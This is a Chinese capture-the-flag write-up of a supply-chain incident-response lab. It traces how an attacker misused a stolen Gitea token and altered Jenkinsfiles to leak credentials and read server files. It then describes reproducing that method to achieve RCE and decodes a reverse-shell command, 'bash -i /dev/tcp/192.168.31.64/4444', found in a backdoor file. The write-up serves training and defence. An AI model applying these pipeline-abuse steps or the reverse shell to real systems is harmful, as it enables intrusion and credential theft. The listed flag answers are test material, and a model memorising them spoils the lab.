玄机靶场:供应链安全-供应链应急-Part2 通关笔记

张开发
2026/4/21 19:30:53 15 分钟阅读

分享文章

玄机靶场:供应链安全-供应链应急-Part2 通关笔记
供应链安全-供应链应急-Part2 通关笔记题目背景本题是供应链安全应急响应的第二部分主要考察对Gitea代码仓库和Jenkins持续集成环境的综合分析能力。黑客通过某种手段获取了开发者的Gitea Token进而对多个代码仓库进行了恶意篡改并在Jenkins构建管道中窃取了敏感信息甚至植入了后门代码。我们需要通过分析Gitea的提交历史、Jenkins的构建日志以及管道配置还原黑客的攻击路径并最终通过RCE远程命令执行获取服务器上的最终Flag。解题步骤详解步骤1排查Gitea Token题目排查Wonderland/caterpillar仓库黑客获取到的gitea token分析黑客在获取到开发者的权限后通常会在代码仓库中留下痕迹。通过检查Wonderland/caterpillar仓库的提交历史和文件内容我们发现在某些构建日志或环境变量配置中泄露了Gitea的访问令牌。答案flag{5d3ed5564341d5060c8524c41fe03507e296ca46}步骤2确认自动执行的管道题目黑客使用gitea token推送到main分支后会自动执行哪个管道分析在Jenkins中通常会配置Webhook来监听代码仓库的推送事件。当黑客使用窃取到的Token向Wonderland/caterpillar仓库的main分支推送代码时Jenkins会自动触发对应的生产环境构建管道。通过查看Jenkins的Job配置确认监听该分支的管道名称。答案flag{wonderland-caterpillar-prod}步骤3定位Flag2的获取时机题目黑客在第几次构建时拿到的flag2分析进入wonderland-caterpillar-prod管道查看其构建历史。我们发现前7次构建#1至#7都基于同一个正常的Commit4c6def3e。而在第8次构建#8时代码版本变更为黑客推送的恶意Commit8aebe0fb。查看第8次构建的控制台输出日志可以发现黑客通过修改Jenkinsfile利用withCredentials提取了环境变量中的敏感信息并将其Base64编码后输出QUVCMTQ5NjYtRkZDMi00RkIwLUJGNDUtQ0Q5MDNCMzUzNURBCg。答案flag{8}步骤4排查敏感信息获取分支题目排查Wonderland/cheshire-cat仓库找到黑客提交的用来获取敏感信息的分支commit值分析转向Wonderland/cheshire-cat仓库该仓库包含多个名为challengeX的分支。逐一检查这些分支的Jenkinsfile发现challenge6分支的配置最为可疑它指定了agent {label built-in}强制在Jenkins主节点运行并执行了sh cat ~/flag5.txt命令。获取该分支的最新Commit SHA值。答案flag{e7f15e151781393830ff69ff041d2b4da135908c}步骤5确认Flag5的获取时机题目黑客在第几次提交拿取时拿到的flag5分析在Jenkins中查看wonderland-cheshire-cat管道的Pull Request构建历史。对应challenge6分支的PR是PR-6。查看PR-6的第1次构建日志确认命令cat /var/jenkins_home/flag5.txt被成功执行并输出了文件内容。答案flag{6}步骤6提取Flag5内容题目排查Wonderland/cheshire-cat仓库找到黑客获取的flag5分析直接从上述PR-6的构建日志中提取输出的Flag5明文内容。答案flag{6B31A679-6D70-469D-9F8D-6D6E80B3C29C}步骤7通过RCE获取最终Flag题目分析黑客攻击手法并进行升级拿到服务器里的flag_rce文件内容提交分析题目要求我们模仿黑客的手法通过修改Jenkinsfile来实现RCE并读取服务器上的flag_rce文件。使用步骤1中获取的Gitea Token5d3ed5564341d5060c8524c41fe03507e296ca46通过Gitea API向Wonderland/caterpillar仓库的main分支推送修改后的Jenkinsfile。在新的Jenkinsfile中指定agent {label built-in}以确保在主节点执行并添加读取命令sh cat /var/jenkins_home/flag_rce。推送成功后Jenkins自动触发构建或通过API手动触发。查看最新构建的控制台日志成功读取到flag_rce的内容。答案flag{e2665310468c12dfe3f32f7b1537b765}步骤8排查恶意代码插入版本题目排查Wonderland/Twiddledee仓库黑客在第几次版本迭代时插入了恶意代码分析分析Wonderland/Twiddledee仓库的提交历史和Tag记录。正常版本为1.1.0。黑客用户xia0le随后进行了一系列恶意提交。在版本号变更为1.2.0后黑客在随后的提交Commit9ef8d9c4中引入了后门文件.config.js。随后版本号被更新为1.3.0。因此恶意代码是在1.3.0这个版本迭代周期内被插入的。答案flag{1.3.0}步骤9提取后门文件MD5题目黑客留下了一个后门文件黑客在哪一次提交的这个文件提交这个文件的md5值分析在上述分析中确认后门文件为.config.js。通过Gitea API获取该文件的Base64编码内容解码后计算其MD5哈希值。答案flag{131a81982d68503545f8eac8c31a18e9}步骤10溯源黑客服务器题目找到黑客服务器IP和PORT分析查看后门文件.config.js的具体内容发现其中包含一段Base64编码的字符串YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjMxLjY0LzQ0NDQgMD4mMQ。将其解码后得到反弹Shell的命令bash -i /dev/tcp/192.168.31.64/4444 01。从中提取出黑客的C2服务器IP和端口。答案flag{192.168.31.64,4444}总结本题完整模拟了针对CI/CD流水线的供应链攻击场景。黑客的攻击链路如下窃取代码仓库访问凭证Gitea Token。篡改代码仓库中的CI配置文件Jenkinsfile。利用Jenkins的自动构建机制在构建节点甚至主节点上执行恶意命令。窃取环境变量中的敏感凭证Flag2和服务器本地文件Flag5。在开源组件仓库Twiddledee中植入隐蔽的反弹Shell后门实现持久化控制。防范此类攻击的关键在于严格限制CI/CD配置文件的修改权限、遵循最小权限原则配置构建节点、对构建日志中的敏感信息进行脱敏处理以及加强对代码提交的审计和签名验证。

更多文章